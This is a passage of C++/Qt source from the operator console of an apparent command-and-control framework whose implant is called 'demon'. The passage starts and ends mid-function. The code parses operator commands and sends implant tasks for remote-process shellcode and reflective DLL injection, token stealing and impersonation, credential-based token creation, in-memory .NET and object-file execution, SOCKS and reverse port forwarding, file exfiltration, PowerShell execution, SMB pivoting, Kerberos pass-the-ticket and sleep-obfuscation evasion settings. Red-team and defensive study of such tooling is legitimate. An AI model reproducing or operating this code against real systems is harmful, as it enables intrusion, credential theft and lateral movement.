CONSOLE_ERROR( "Not enough arguments" ) return false; } auto Pid = InputCommands[ 2 ]; auto Path = InputCommands[ 3 ]; auto Args = QString(); if ( InputCommands.size() > 4 ) { Args = JoinAtIndex( InputCommands, 4 ); } if ( ! QFile::exists( Path ) ) { CONSOLE_ERROR( "Specified reflective dll file not found" ) return false; } TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to inject a reflective dll: " + Path ); CommandInputList[ TaskID ] = commandline; SEND( Execute.DllInject( TaskID, Pid, Path, Args ) ) } else if ( InputCommands[ 1 ].compare( "spawn" ) == 0 ) { // dll spawn [path] [arguments] if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } auto Path = InputCommands[ 2 ]; auto Args = QString(); if ( InputCommands.size() >= 3 ) { Args = JoinAtIndex( InputCommands, 3 ); } if ( ! QFile::exists( Path ) ) { CONSOLE_ERROR( "Specified reflective dll file not found" ) return false; } TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to spawn a reflective dll: " + Path ); CommandInputList[ TaskID ] = commandline; SEND( Execute.DllSpawn( TaskID, Path, Args.toLocal8Bit() ) ) } } else if ( InputCommands[ 0 ].compare( "shellcode" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands[ 1 ] .compare( "inject" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to inject shellcode into a remote process" ); if ( InputCommands.size() >= 5 ) { auto TargetArch = InputCommands[ 2 ]; auto TargetPID = InputCommands[ 3 ]; auto Shellcode = QString( ( InputCommands.begin() + 4 )->toStdString().c_str() ); if ( ! QFile::exists( Shellcode ) ) { CONSOLE_ERROR( "Specified file not found" ) return false; } if ( TargetArch.compare( "x64" ) != 0 && TargetArch.compare( "x86" ) != 0 ) { CONSOLE_ERROR( "Incorrect process arch specified: " + TargetArch ) return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.ShellcodeInject( TaskID, "default", TargetPID, TargetArch, Shellcode, "" ) ); } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 1 ].compare( "spawn" ) == 0 ) { if ( InputCommands.size() >= 4 ) { auto TargetArch = InputCommands[ 2 ]; auto ShellcodeBinaryPath = InputCommands[ 3 ]; if ( TargetArch.compare( "x64" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to fork and inject a x64 shellcode" ); } else if ( TargetArch.compare( "x86" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to fork and inject a x86 shellcode" ); } else { CONSOLE_ERROR( "Incorrect process arch specified: " + TargetArch ) } if ( ! QFile::exists( ShellcodeBinaryPath ) ) { CONSOLE_ERROR( "Couldn't find specified binary: " + ShellcodeBinaryPath ) return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.ShellcodeSpawn( TaskID, "default", TargetArch, ShellcodeBinaryPath, "" ); ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 1 ].compare( "execute" ) == 0 ) { if ( InputCommands.size() >= 4 ) { auto TargetArch = InputCommands[ 2 ]; auto ShellcodeBinaryPath = InputCommands[ 3 ]; if ( TargetArch.compare( "x64" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to self inject a x64 shellcode" ); } else if ( TargetArch.compare( "x86" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to self inject a x86 shellcode" ); } else { CONSOLE_ERROR( "Incorrect process arch specified: " + TargetArch ) } if ( ! QFile::exists( ShellcodeBinaryPath ) ) { CONSOLE_ERROR( "Couldn't find specified binary: " + ShellcodeBinaryPath ) return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.ShellcodeExecute( TaskID, "default", TargetArch, ShellcodeBinaryPath, "" ); ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } } // NOTE: this function is only for debug purpose only. don't forget to remove this on final release else if ( InputCommands[0].compare( "__debug" ) == 0 ) { if (InputCommands.size() == 1) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if (InputCommands[1].compare("dump-text") == 0) { QFile filecontent("/tmp/TextEdit-dump.txt"); filecontent.open(QFile::Append | QFile::Text); filecontent.write(DemonConsole->Console->toPlainText().toStdString().c_str()); filecontent.close(); } else if (InputCommands[1].compare("dump-html") == 0) { QFile filecontent("/tmp/TextEdit-dump-html.html"); filecontent.open(QFile::Append | QFile::Text); filecontent.write(DemonConsole->Console->toHtml().toStdString().c_str()); filecontent.close(); } } else if ( InputCommands[ 0 ].compare( "token" ) == 0 ) { if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands[ 1 ].compare( "impersonate" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } auto TokenID = InputCommands[ 2 ]; TaskID = CONSOLE_INFO( "Tasked demon to impersonate a process token" ); CommandInputList[TaskID] = commandline; SEND( Execute.Token( TaskID, "impersonate", TokenID ); ) } else if ( InputCommands[ 1 ].compare( "steal" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 4 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } auto TargetProcessID = InputCommands[ 2 ]; QString TargetHandle = "0"; if ( InputCommands.size() == 4 ) { TargetHandle = InputCommands[ 3 ]; } TaskID = CONSOLE_INFO( "Tasked demon to steal a process token" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "steal", TargetProcessID + ";" + TargetHandle ) ); } else if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to list token vault" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "list", "" ) ); } else if ( InputCommands[ 1 ].compare( "find" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to find tokens" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "find", "" ) ); } else if ( InputCommands[ 1 ].compare( "make" ) == 0 ) { if ( InputCommands.size() < 5 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 6 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } // token make Domain\user password auto Domain = QString(); auto User = QString(); auto Password = QString(); auto LogonType = QString(); // token make domain user password Domain = InputCommands[ 2 ]; User = InputCommands[ 3 ]; Password = InputCommands[ 4 ]; if ( InputCommands.size() == 6 ) { if ( InputCommands[ 5 ].compare( "LOGON_INTERACTIVE" ) == 0 ) LogonType = "2"; else if ( InputCommands[ 5 ].compare( "LOGON_NETWORK" ) == 0 ) LogonType = "3"; else if ( InputCommands[ 5 ].compare( "LOGON_BATCH" ) == 0 ) LogonType = "4"; else if ( InputCommands[ 5 ].compare( "LOGON_SERVICE" ) == 0 ) LogonType = "5"; else if ( InputCommands[ 5 ].compare( "LOGON_UNLOCK" ) == 0 ) LogonType = "7"; else if ( InputCommands[ 5 ].compare( "LOGON_NETWORK_CLEARTEXT" ) == 0 ) LogonType = "8"; else if ( InputCommands[ 5 ].compare( "LOGON_NEW_CREDENTIALS" ) == 0 ) LogonType = "9"; else { CONSOLE_ERROR( "Invalid token type" ) return false; } } else { // default: LOGON_NEW_CREDENTIALS LogonType = "9"; } TaskID = CONSOLE_INFO( "Tasked demon to make a new network token for " + Domain + "\\" + User ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "make", Domain.toLocal8Bit().toBase64() + ";" + User.toLocal8Bit().toBase64() + ";" + Password.toLocal8Bit().toBase64() + ";" + LogonType ) ); } else if ( InputCommands[ 1 ].compare( "revert" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to revert the process token" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "revert", "" ) ); } else if ( InputCommands[ 1 ].compare( "remove" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } auto TargetProcessID = InputCommands[ 2 ]; TaskID = CONSOLE_INFO( "Tasked demon to remove a token from the token vault" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "remove", TargetProcessID ) ); } else if ( InputCommands[ 1 ].compare( "clear" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to clear token vault" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "clear", "" ) ) } else if ( InputCommands[ 1 ].compare( "getuid" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to get current user id" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "getuid", "" ) ) } else if ( InputCommands[ 1 ].compare( "privs-list" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to list current token privileges" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "privs-list", "" ) ); } else if ( InputCommands[ 1 ].compare( "privs-get" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 4 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to enable a privilege: " + InputCommands[ 2 ] ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Token( TaskID, "privs-get", InputCommands[ 2 ] ) ); } else { CONSOLE_ERROR( "Module command not found" ) return false; } } else if ( InputCommands[ 0 ].compare( "inline-execute" ) == 0 ) { if ( InputCommands.length() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } auto Path = InputCommands[ 1 ]; auto Args = QByteArray(); if ( InputCommands.size() > 3 ) { // NOTE: the 'dotnet inline-execute assembly.exe (args)' command does not need to escape quotes Args = JoinAtIndex( commandline.split( " " ), 3 ).toUtf8(); } if ( ! QFile::exists( Path ) ) { CONSOLE_ERROR( "Specified object file not found: " + Path ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to execute an object file: " + Path ); CommandInputList[ TaskID ] = commandline; SEND( Execute.InlineExecute( TaskID, "go", Path, Args, "default" ); ) } else if ( InputCommands[ 0 ].compare( "dotnet" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } else if ( InputCommands[ 1 ].compare( "inline-execute" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } auto File = InputCommands[ 2 ]; auto Args = QString(); // dotnet inline-execute assembly.exe (args) if ( InputCommands.size() > 3 ) { InputCommands[ 0 ] = ""; InputCommands[ 1 ] = ""; InputCommands[ 2 ] = ""; Args = InputCommands.join( " " ); } if ( ! QFile::exists( File ) ) { CONSOLE_ERROR( "Couldn't find assembly file: " + File ); return false; } TaskID = DemonConsole->TaskInfo(Send, nullptr, "Tasked demon to inline execute a dotnet assembly: " + File); CommandInputList[TaskID] = commandline; if (Send) Execute.AssemblyInlineExecute(TaskID, File, Args); } else if ( InputCommands[ 1 ].compare( "list-versions" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to list available dotnet versions" ); CommandInputList[TaskID] = commandline; SEND( Execute.AssemblyListVersions( TaskID ) ) } else { goto CheckRegisteredCommands; } } else if ( InputCommands[ 0 ].compare( "rportfwd" ) == 0 ) { if ( InputCommands.size() <= 1 ) { CONSOLE_ERROR( "Not enough arguments for \"rportfwd\"" ) return false; } if ( InputCommands[ 1 ].compare( "add" ) == 0 ) { auto LclAddr = QString(); auto LclPort = QString(); auto FwdAddr = QString(); auto FwdPort = QString(); if ( InputCommands.size() < 6 ) { CONSOLE_ERROR( "Not enough arguments for \"rportfwd add\"" ) return false; } LclAddr = InputCommands[ 2 ]; LclPort = InputCommands[ 3 ]; FwdAddr = InputCommands[ 4 ]; FwdPort = InputCommands[ 5 ]; TaskID = CONSOLE_INFO( "Tasked demon to start a reverse port forward " + LclAddr + ":" + LclPort + " to " + FwdAddr + ":" + FwdPort ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "rportfwd add", LclAddr + ";" + LclPort + ";" + FwdAddr + ";" + FwdPort ) ) } else if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to list all reverse port forwards" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "rportfwd list", "" ) ) } else if ( InputCommands[ 1 ].compare( "remove" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments for \"rportfwd remove\"" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to close and remove a reverse port forward " + InputCommands[ 2 ] ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "rportfwd remove", InputCommands[ 2 ] ) ) } else if ( InputCommands[ 1 ].compare( "clear" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to close and clear all reverse port forwards" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "rportfwd clear", "" ) ) } } else if ( InputCommands[ 0 ].compare( "socks" ) == 0 ) { if ( InputCommands.size() <= 1 ) { CONSOLE_ERROR( "Not enough arguments for \"socks\"" ) return false; } if ( InputCommands[ 1 ].compare( "add" ) == 0 ) { auto Port = QString(); if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments for \"socks add\"" ) return false; } Port = InputCommands[ 2 ]; TaskID = Util::gen_random( 8 ).c_str(); CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "socks add", Port ) ) } else if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = Util::gen_random( 8 ).c_str(); CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "socks list", "" ) ) } else if ( InputCommands[ 1 ].compare( "kill" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments for \"socks kill\"" ) return false; } TaskID = Util::gen_random( 8 ).c_str(); CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "socks kill", InputCommands[ 2 ] ) ) } else if ( InputCommands[ 1 ].compare( "clear" ) == 0 ) { TaskID = Util::gen_random( 8 ).c_str(); CommandInputList[ TaskID ] = commandline; SEND( Execute.Socket( TaskID, "socks clear", "" ) ) } } else if ( InputCommands[ 0 ].compare( "transfer" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments for \"transfer\"" ) return false; } if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to list current downloads" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Transfer( TaskID, "list", "" ) ) } else if ( InputCommands[ 1 ].compare( "stop" ) == 0 ) { if ( InputCommands.size() <= 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to stop a download" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Transfer( TaskID, "stop", InputCommands[ 2 ] ) ) } else if ( InputCommands[ 1 ].compare( "resume" ) == 0 ) { if ( InputCommands.size() <= 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to resume a download" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Transfer( TaskID, "resume", InputCommands[ 2 ] ) ) } else if ( InputCommands[ 1 ].compare( "remove" ) == 0 ) { if ( InputCommands.size() <= 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to stop and remove a download" ) CommandInputList[ TaskID ] = commandline; SEND( Execute.Transfer( TaskID, "remove", InputCommands[ 2 ] ) ) } } else if ( InputCommands[ 0 ].compare( "download" ) == 0 ) { if ( InputCommands.size() >= 2 ) { auto FilePath = JoinAtIndex( InputCommands, 1 ); TaskID = CONSOLE_INFO( "Tasked demon to download a file " + FilePath ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "download", FilePath.toLocal8Bit().toBase64() ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 0 ].compare( "cat" ) == 0 || InputCommands[ 0 ].compare( "type" ) == 0 ) { if ( InputCommands.size() >= 2 ) { auto FilePath = JoinAtIndex( InputCommands, 1 ); TaskID = CONSOLE_INFO( "Tasked demon to display content of " + FilePath ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "cat", FilePath.toLocal8Bit().toBase64() ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 0 ].compare( "upload" ) == 0 ) { if ( InputCommands.size() >= 2 ) { auto FilePath = InputCommands[ 1 ]; auto Content = FileRead( FilePath ); auto RemotePath = QString(); if ( Content == nullptr ) return false; auto FileName = FilePath.mid( FilePath.lastIndexOf("/") + 1, FilePath.size() - FilePath.lastIndexOf("/") - 1 ); // if no remote path was specified, upload the file with the same name to the current directory if ( InputCommands.size() == 2 ) { RemotePath = FileName; } else { RemotePath = JoinAtIndex( InputCommands, 2 ); // if the remote path does not contain the filename, use the same as the local path if ( RemotePath.endsWith("\\", Qt::CaseInsensitive) ) { RemotePath = RemotePath + FileName; } } TaskID = CONSOLE_INFO( "Tasked demon to upload a file " + FilePath + " to " + RemotePath ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "upload", RemotePath.toLocal8Bit().toBase64() + ";" + Content.toBase64() ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 0 ].compare( "powershell" ) == 0 ) { if ( InputCommands.length() > 1 ) { auto Program = QString("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"); // NOTE: the 'powershell' command does not need to escape quotes auto Args = QString( "-C " + JoinAtIndex( commandline.split( " " ), 1 ) ).toUtf8().toBase64(); TaskID = CONSOLE_INFO( "Tasked demon to execute a powershell command/script" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.ProcModule( TaskID, 4, "0;FALSE;TRUE;" + Program + ";" + Args ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) } } else if ( InputCommands[ 0 ].compare( "config" ) == 0 ) { if ( InputCommands.size() > 1 ) { if ( InputCommands[ 1 ].compare( "implant.sleep-mask" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands[ 2 ].compare( "true" ) != 0 && InputCommands[ 2 ].compare( "false" ) != 0 ) { CONSOLE_ERROR( "Wrong arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure sleep-mask: " + InputCommands[ 2 ] ); } if ( InputCommands[ 1 ].compare( "implant.coffee.veh" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands[ 2 ].compare( "true" ) != 0 && InputCommands[ 2 ].compare( "false" ) != 0 ) { CONSOLE_ERROR( "Wrong arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure coffee VEH: " + InputCommands[ 2 ] ); } if ( InputCommands[ 1 ].compare( "implant.coffee.threaded" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands[ 2 ].compare( "true" ) != 0 && InputCommands[ 2 ].compare( "false" ) != 0 ) { CONSOLE_ERROR( "Wrong arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure coffee threading: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "implant.verbose" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands[ 2 ].compare( "true" ) != 0 && InputCommands[ 2 ].compare( "false" ) != 0 ) { CONSOLE_ERROR( "Wrong arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure verbose messaging: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "implant.sleep-obf" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands[ 2 ].compare( "true" ) != 0 && InputCommands[ 2 ].compare( "false" ) != 0 ) { CONSOLE_ERROR( "Wrong arguments" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to enable/disable sleep-obf: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "implant.sleep-obf.technique" ) == 0 ) { CONSOLE_ERROR( "Not implemented" ); return false; } else if ( InputCommands[ 1 ].compare( "implant.sleep-obf.start-addr" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( ! is_number( InputCommands[ 2 ].toStdString() ) ) { CONSOLE_ERROR( "Wrong argument: Is not a number" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure sleep-mask thread start addr: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "memory.alloc" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( ! is_number( InputCommands[ 2 ].toStdString() ) ) { CONSOLE_ERROR( "Wrong argument: Is not a number" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure memory allocation: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "memory.execute" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( ! is_number( InputCommands[ 2 ].toStdString() ) ) { CONSOLE_ERROR( "Wrong argument: Is not a number" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure memory execution: " + InputCommands[ 2 ] ); } /* else if ( InputCommands[ 1 ].compare( "inject.technique" ) == 0 ) // TODO: figure out how to implement this right. { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( ! is_number( InputCommands[ 2 ].toStdString() ) ) { CONSOLE_ERROR( "Wrong argument: Is not a number" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure injection technique: " + InputCommands[ 2 ] ); } */ else if ( InputCommands[ 1 ].compare( "inject.spoofaddr" ) == 0 ) // TODO: finish this { CONSOLE_ERROR( "Not implemented" ); return false; } else if ( InputCommands[ 1 ].compare( "inject.spawn64" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; TaskID = CONSOLE_INFO( "Tasked demon to configure default x64 target process: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "inject.spawn32" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; TaskID = CONSOLE_INFO( "Tasked demon to configure default x86 target process: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "killdate" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands.size() > 4 ) { CONSOLE_ERROR( "Too many arguments" ); return false; }; if ( InputCommands.size() == 4 ) { InputCommands[ 2 ] = InputCommands[ 2 ] + " " + InputCommands[ 3 ]; }; if ( InputCommands.size() == 3 && InputCommands[ 2 ].compare( "0" ) != 0 ) { CONSOLE_ERROR( "Invalid arguments" ); return false; } TaskID = CONSOLE_INFO( "Tasked demon to configure the KillDate: " + InputCommands[ 2 ] ); } else if ( InputCommands[ 1 ].compare( "workinghours" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; }; if ( InputCommands.size() > 3 ) { CONSOLE_ERROR( "Too many arguments" ); return false; }; TaskID = CONSOLE_INFO( "Tasked demon to configure the working hours: " + InputCommands[ 2 ] ); } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Config does not exist" ); return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.Config( TaskID, InputCommands[ 1 ], InputCommands[ 2 ] ) ); } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); } } else if ( InputCommands[ 0 ].compare( "screenshot" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to take a screenshot" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Screenshot( TaskID ) ) } else if ( InputCommands[ 0 ].compare( "net" ) == 0 ) { if ( InputCommands.size() >= 2 ) { auto Command = QString(); auto Param = QString(); Param = "\\\\localhost"; if ( InputCommands[ 1 ].compare( "domain" ) == 0 ) { Command = "1"; TaskID = CONSOLE_INFO( "Tasked demon to display domain for this host" ); Param = ""; } else if ( InputCommands[ 1 ].compare( "logons" ) == 0 ) { Command = "2"; TaskID = CONSOLE_INFO( "Tasked demon to lists users logged onto a host" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; } else if ( InputCommands[ 1 ].compare( "sessions" ) == 0 ) { Command = "3"; TaskID = CONSOLE_INFO( "Tasked demon to lists sessions on a host" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; } /*else if ( InputCommands[ 1 ].compare( "computers" ) == 0 ) { Command = "4"; TaskID = CONSOLE_INFO( "Tasked demon to lists computer in a domain (groups)" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; } else if ( InputCommands[ 1 ].compare( "dclist" ) == 0 ) { Command = "5"; TaskID = CONSOLE_INFO( "Tasked demon to lists domain controllers" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; }*/ else if ( InputCommands[ 1 ].compare( "share" ) == 0 ) { Command = "6"; TaskID = CONSOLE_INFO( "Tasked demon to lists shares on a host" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; } else if ( InputCommands[ 1 ].compare( "localgroup" ) == 0 ) { Command = "7"; TaskID = CONSOLE_INFO( "Tasked demon to lists local groups and users in local groups" ); if ( InputCommands.size() > 2 ) Param = InputCommands[ 2 ]; } else if ( InputCommands[ 1 ].compare( "group" ) == 0 ) { Command = "8"; TaskID = CONSOLE_INFO( "Tasked demon to lists groups and users in groups" ); if ( InputCommands.size() >= 3 ) Param = InputCommands[ 2 ]; } else if ( InputCommands[ 1 ].compare( "users" ) == 0 ) { Command = "9"; TaskID = CONSOLE_INFO( "Tasked demon to lists users and user information" ); if ( InputCommands.size() >= 3 ) Param = InputCommands[ 2 ]; } else { CONSOLE_ERROR( "Command not found: " + InputCommands.join( ' ' ) ) return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.Net( TaskID, Command, Param ) ) } else { CONSOLE_ERROR( "No sub command specified" ) } } else if ( InputCommands[ 0 ].compare( "pivot" ) == 0 ) { if ( InputCommands.size() > 1 ) { auto Command = QString(); auto Param = QString(); if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to list connected agent pivots" ); Command = "1"; } else if ( InputCommands[ 1 ].compare( "connect" ) == 0 ) { // TODO: For now only Smb Command = "10"; if ( InputCommands.size() >= 4 ) { auto Host = InputCommands[ 2 ]; auto Addr = InputCommands[ 3 ]; Param = "\\\\" + Host + "\\pipe\\" + Addr; TaskID = CONSOLE_INFO( "Tasked demon to connect to a smb pivot: " + Param ); } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 1 ].compare( "disconnect" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } Command = "11"; Param = InputCommands[ 2 ]; TaskID = CONSOLE_INFO( "Tasked demon to disconnect a smb pivot: " + Param ); } else { CONSOLE_ERROR( "Command not found: " + InputCommands.join( ' ' ) ) return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.Pivot( TaskID, Command, Param ) ) } } else if ( InputCommands[ 0 ].compare( "luid" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to get the current logon ID" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Luid( TaskID ) ) } else if ( InputCommands[ 0 ].compare( "klist" ) == 0 ) { auto Arg1 = QString(); auto Arg2 = QString(); if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 3 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } if ( InputCommands[ 1 ].compare( "/all" ) == 0 ) { Arg1 = "/all"; } else if ( InputCommands[ 1 ].compare( "/luid" ) == 0 ) { if ( InputCommands.size() != 3 ) { CONSOLE_ERROR( "Invalid parameter" ) return false; } Arg1 = "/luid"; Arg2 = InputCommands[ 2 ]; } else { CONSOLE_ERROR( "Invalid parameter" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to list Kerberos tickets" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Klist( TaskID, Arg1, Arg2 ) ); } else if ( InputCommands[ 0 ].compare( "purge" ) == 0 ) { auto Arg = QString(); if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 3 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } if ( InputCommands[ 1 ].compare( "/luid" ) == 0 ) { Arg = InputCommands[ 2 ]; } else { CONSOLE_ERROR( "Invalid parameter" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to purge a Kerberos ticket" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Purge( TaskID, Arg ) ); } else if ( InputCommands[ 0 ].compare( "ptt" ) == 0 ) { auto Ticket = QString(); QString Luid = "0"; if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 4 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } Ticket = InputCommands[ 1 ]; if ( InputCommands.size() == 3 ) 